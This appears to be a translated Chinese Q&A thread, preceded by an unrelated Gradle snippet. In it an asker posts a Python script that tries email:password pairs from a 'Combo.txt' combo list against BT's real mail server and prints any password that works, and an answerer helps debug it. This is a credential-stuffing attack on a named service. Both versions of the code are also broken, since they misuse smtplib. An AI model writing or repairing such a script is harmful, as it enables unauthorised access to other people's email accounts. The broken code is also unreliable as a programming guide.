compileJava {
sourceCompatibility = '1.7'
targetCompatibility = '1.7'
}
这是我的代码。它检查文件中的电子邮件/密码组合列表,以查看它是否在特定服务器上(在我的案例中为BT)。
但是我的库名有问题,我不知道该用什么。我检查了python文档,但它不够清楚,如果有人能告诉我什么是不正确的我会深深体会到它。
收到错误。 这也会给我错误的其他库名
import smtplib
smtpserver = s.connect("mail.btinternet.com", 465)
SMTP.helo("mail.btinternet.com")
SMTP.ehlo("mail.btinternet.com")
file = open("Combo.txt", "r")
for line in file:
x = line.split(":")
user = x[0]
password = x[1]
s.login(user, password)
print("[+] Password Found: %s" % password)
if smtplib.SMTPAuthenticationError:
print("Incorrect")
答案 0 :(得分:0)
对于您的问题,我认为您的库无法正常工作的原因是因为您不一致地调用导入的库:
e.g。有时您输入' s.xxxxx',有时您输入' SMTPlib.xxxxx'对于您的模块属性,您应该将smtplib导入为' s。
那么这是什么呢?它以一种名为' s'的简短形式存储库,因此无论何时调用模块或使用库中的函数,您都不必键入完整' .smtplib'但只需输入一个' .s'特定功能背后的扩展:
import smtplib as s
smtpserver = s.connect("mail.btinternet.com", 465)
s.helo("mail.btinternet.com")
s.ehlo("mail.btinternet.com")
file = open("Combo.txt", "r")
for line in file:
x = line.split(":")
user = x[0]
password = x[1]
s.login(user, password)
print("[+] Password Found: %s" % password)
if s.SMTPAuthenticationError:
print("Incorrect")
现在应该解决你的问题。记得以一致的方式调用特定库名称中的函数(' s')。